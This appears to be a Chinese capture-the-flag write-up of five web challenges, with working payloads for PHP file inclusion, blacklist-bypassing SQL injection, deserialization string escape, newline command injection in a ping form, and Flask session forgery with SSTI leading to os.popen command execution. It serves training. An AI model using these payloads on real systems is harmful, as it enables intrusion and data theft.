T1.文件包含漏洞 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
构造exp
GET ?file=data://text/plain;base64,
<?php system("ls")?>
PD9waHAgc3lzdGVtKCJscyIpPz4%3D
<?php system("cat flag.php")?>
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKT8%2B
发现cat不出来,估计cat被ban了 base64拿出来
<?php system("base64 flag.php")?>
PD9waHAgc3lzdGVtKCJiYXNlNjQgZmxhZy5waHAiKT8%2BYA%3D%3D
1 2 3 4 PD9waHAKJGZsYWc9InZtY3tRSUgxNmRYYzZVYkRSTGlQVnRZYmJ1dnE4SEZodHlOdH0iOwo=<?php $flag ="vmc{QIH16dXc6UbDRLiPVtYbbuvq8HFhtyNt}" ;
T2.SQL注入漏洞 有过滤
1 2 3 4 5 6 7 <?php function waf ($var ) { $blacklist = array ("select" , "union" , "flag" , "or" , "ro" , "where" ); $var = str_ireplace ($blacklist , "" , $var ); return $var ; }
只过滤一次,直接注1" ununionion selselectect 1,2,grrooup_concat(flflagag) frroom flflagag#
T3.反序列化漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file (__FILE__ );class getflag { public $file ; public function __destruct ( ) { if ($this ->file === "flag.php" ) { echo file_get_contents ($this ->file); } } }class tmp { public $str1 ; public $str2 ; public function __construct ($str1 , $str2 ) { $this ->str1 = $str1 ; $this ->str2 = $str2 ; } }$str1 = $_POST ['easy' ];$str2 = $_POST ['ez' ];$data = serialize (new tmp ($str1 , $str2 ));$data = str_replace ("easy" , "ez" , $data );unserialize ($data );
跑一下看看序列化后的字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $str1 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaa' ;$str2 = 'bbbbbbbbbbbbbbbbbbbbbbbb' ;$data = serialize (new tmp ($str1 , $str2 ));echo $data ;echo "\n" ;$data = str_replace ("easy" , "ez" , $data );echo $data ;echo "\n" ;var_dump (unserialize ($data )); }
序列化之后对象用字符串保存,字符串里记录了每个对象的类型,长度信息
给的字符串替换每次能吃掉str1两个字符,但是记录的str1长度不变,在反序列化时str1的长度就会包含后面的长度,使后面的类型出错
1 2 3 4 5 6 7 $str1 = 'easyeasyeasy' ;$str2 = 'bbbbbbbbbbbbbbbbbbbbbbbb' ; O:3 :"tmp" :2 :{s:4 :"str1" ;s:12 :"easyeasyeasy" ;s:4 :"str2" ;s:24 :"bbbbbbbbbbbbbbbbbbbbbbbb" ;} O:3 :"tmp" :2 :{s:4 :"str1" ;s:12 :"ezezez" ;s:4 :"str2" ;s:24 :"bbbbbbbbbbbbbbbbbbbbbbbb" ;}bool (false )
可以看到str1的长度本来应该是12,替换之后反序列化时按12读str1的长度ezezez";s:4:
,把后面的内容吞掉了,因此反序列化失败
因此可以利用字符串替换造成的长度改变吃掉一些控制字符,再在str2中构造对应的控制字符,就能手动构造反序列化后的对象
为了读flag,需要构造一个catflag
对象,并且成员file
需要为flag.php
,尝试把str2构造成满足上面要求的对象:
s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}
根据长度要求,得到str1和str2
payload
1 2 $str1 = 'easyeasyeasyeasyeasyeasyeasyeasyeasyeasye' ;$str2 = '"";s:4:"str2";O:7:"getflag":1:{s:4:"file";s:8:"flag.php";}}' ;
POST easy=easyeasyeasyeasyeasyeasyeasyeasyeasyeasye& ez=%22%22%3Bs%3A4%3A%22str2%22%3BO%3A7%3A%22getflag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag%2Ephp%22%3B%7D%7D
1 2 <?php $flag="vmc{fJD1wTFH7GmJ7lJDopbSu9HjaJ765Ljk}";
T4.远程命令执行漏洞 命令执行api/ping.php
POST请求,发现对;&#
等字符有过滤,但是对换行符没有过滤,构造payload
url编码
POST ip=1%2E1%2E1%2E1%0Als%20%3E%20tmp%2Etxt
查看/tmp.txt
1 2 3 4 5 6 7 class.css cloudF.jpg cloudS.jpg index.php jquery.js ping.php tmp.txt
没看到flag,再找找根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
看到flag了,直接cat
1 2 1.1.1.1cat /flag > tmp.txt
vmc{W8MFa2vuozlsDTypNEe0l9XoiJxAZRDq}
T5.模板注入漏洞 响应标头有hint
Hint: tell you a secret: /nonono
访问/nonono
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 nonono" return rsp @app.route('/nonono') def source(): f = open(__file__, 'r') rsp = f.read() f.close() return rsp[rsp.index('nonono'):] @app.route('/admin') def admin_handler(): try: role = session.get('role') if not isinstance(role, dict): raise Exception except Exception: return 'No, you are a hacker!' if role.get('is_admin') == 1: flag = role.get('flag') or 'admin' flag = filter(flag) message = " %s, God bless you! The flag is " % flag return render_template_string(message) else: return " Error: Permission denied!" if __name__ == '__main__': app.run('0.0.0.0', port=80)
需要让role里面的is_admin
为1
role在session里面,flask的session存在cookie里面的
Cookie: session=eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqMcA.3ah8G2gg36p0dgQ4luF-yEUbKV0
对flask session伪造的学习 - GTL_JU - 博客园
flask-session-cookie-manager/flask_session_cookie_manager3.py at master · noraj/flask-session-cookie-manager · GitHub
解码看看session
1 2 3 4 5 6 ❯ python flask_session_cookie_manager3.py decode -c 'eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqMcA.3ah8G2gg36p0dgQ4luF-yEUbKV0' b'{"role":{"is_admin":0,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}' ❯ echo -n VGgxc0BvbmUhc2VDcmV0IQ== | base64 -d Th1s@one!seCret!
session的密钥也在上面Th1s@one!seCret!
把is_admin
修改成1,编码得到新的session
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}' eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.ZmqcBg.tcMeAN4LW-PuxKTmt1P9agbcggA
成功pass掉is_admin
的校验
admin, God bless you! The flag is
后面的模板flag
也存在role
字典里面,新增一项"flag":"{{7*7}}"}}
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{7*7}}"}}' eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0iLCJmbGFnIjoie3s3Kjd9fSJ9fQ.ZmqcvA.UdtVkcQoCKqAn_YZHKQiTH4x9I0
49, God bless you! The flag is
模板注入成功
先拿到os
{{self.__init__.__globals__.__builtins__['__import__']('os')}}
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\")}}"}}' .eJwdirsKAjEQRf9lKoVFVsuFbUQQSwu3WghJnI2DeUgyihLy745W99zDqZCTRxgqUFH6GijCsO0g6iASGAtDBwVtRlZ3_Iibju5t-_3LhMvN7qaDDVN_Oo-jdIvXTopaC_ploxRFYqUEnE9G-_Jn8yTPFH_HIa9mkC48UpZyhrX8VGRbg9a-QUw1jg.ZmqdQg.NayVVIECz3hw-ho1IgxtoQdhMcQ
<module 'os' from '/usr/lib/python3.8/os.py'>, God bless you! The flag is
利用os.popen().read()
执行命令并返回结果
先ls
一下
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"ls\").read()}}"}}' .eJwdisEKwjAQBf9lTy2UUj0WehFBPHqwp0JI020MbpKSRFFC_t21p_dmmAzBE0KfwUQhF2sc9IcGnLQsIWFM0EBEFTCJJ37ZjRf9Ud3pPdv7Qx3Hs7Jjd70NA3crSc1FzhFpbYUwziQh-Gjys6S4__llKBn3B42pmoA7u_nA5QQ1s4-87eY3dEy0U0C5VHUpUMoP58g8JQ.ZmqdqA.A1G80iMgEsbG_mk6TzcBvHfSWuM
__pycache__ app.py secret.py , God bless you! The flag is
flag应该在根目录下面
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"ls /\").read()}}"}}' .eJwdir0KwjAURl9F7tRCqdWx0EUEcXSwUyGk6W0M5o8kihLy7t46fd85nAzBaYQ-g4qML0ZZ6A8NWG5IQsKYoIGIImBiT_ySGy_yI7rTezb3hziOZ2HG7nobBupWzSUVOUfUa8uYsioxRkdqN3Md_39-KZ2U3UBiqiagzngXqJygJnaRtvXOoyXScbffOCBfqroUKOUHW4E8dA.Zmqd2A.pNJ0HSDvBVygZ7mh-YKt0sSePWc
app bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var , God bless you! The flag is
读flag
1 2 ❯ python flask_session_cookie_manager3.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ==","flag":"{{self.__init__.__globals__.__builtins__.get(\"__import__\")(\"os\").popen(\"cat /flag\").read()}}"}}' .eJwdjM0KwjAQBl9F9tRCqdVjoRcRxKMHeyqENN3GYP5Ioigh7-7W034zDJshOI3QZ1CR8cUoC_2hAcsNSUgYEzQQUQRM7IlfcuNFfkR3es_m_hDH8SzM2F1vw0DdqrmkIueIem0ZU1YlxmhI7Wau43_PL6WTshtITNUE1BnvApUT1MQu0m2982iJBE-7_fZ4kwH5UtWlQCk_lNo-Zw.Zmqd_g.uo8etPTlzPXNUQ8gMg2Bos7Scq4
vmc{5usT3k9aad5wcaFRs3TYNTrLYWL4d1r0} , God bless you! The flag is
成功拿到flag
顺便看看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, session, request, make_response, render_template_stringfrom secret import secret_key, secret_payload, filter app = Flask(__name__) app.config["SECRET_KEY" ] = secret_key@app.route('/' , methods=['GET' , 'POST' ] ) def index_handler (): if request.method == 'POST' : name = request.form['name' ] if 'admin' in name or name == '' : return "who are you!" else : payload = secret_payload session['role' ] = payload return render_template_string("Hello,Huster, your name is {{var}}" , var=name) else : rsp = make_response("try to post 'name'" ) rsp.headers['hint' ] = "tell you a secret: /nonono" return rsp@app.route('/nonono' ) def source (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index('nonono' ):]@app.route('/admin' ) def admin_handler (): try : role = session.get('role' ) if not isinstance (role, dict ): raise Exception except Exception: return 'No, you are a hacker!' if role.get('is_admin' ) == 1 : flag = role.get('flag' ) or 'admin' flag = filter (flag) message = "%s, God bless you! The flag is " % flag return render_template_string(message) else : return "Error: Permission denied!" if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
1 2 3 4 5 6 7 8 9 10 11 secret_key = 'Th1s@one!seCret!' secret_payload = { "name" : 'test' , "is_admin" : 0 , "secret_key" : 'VGgxc0BvbmUhc2VDcmV0IQ==' }def filter (flag ): return flag.replace("[" , '' ).replace("]" , '' )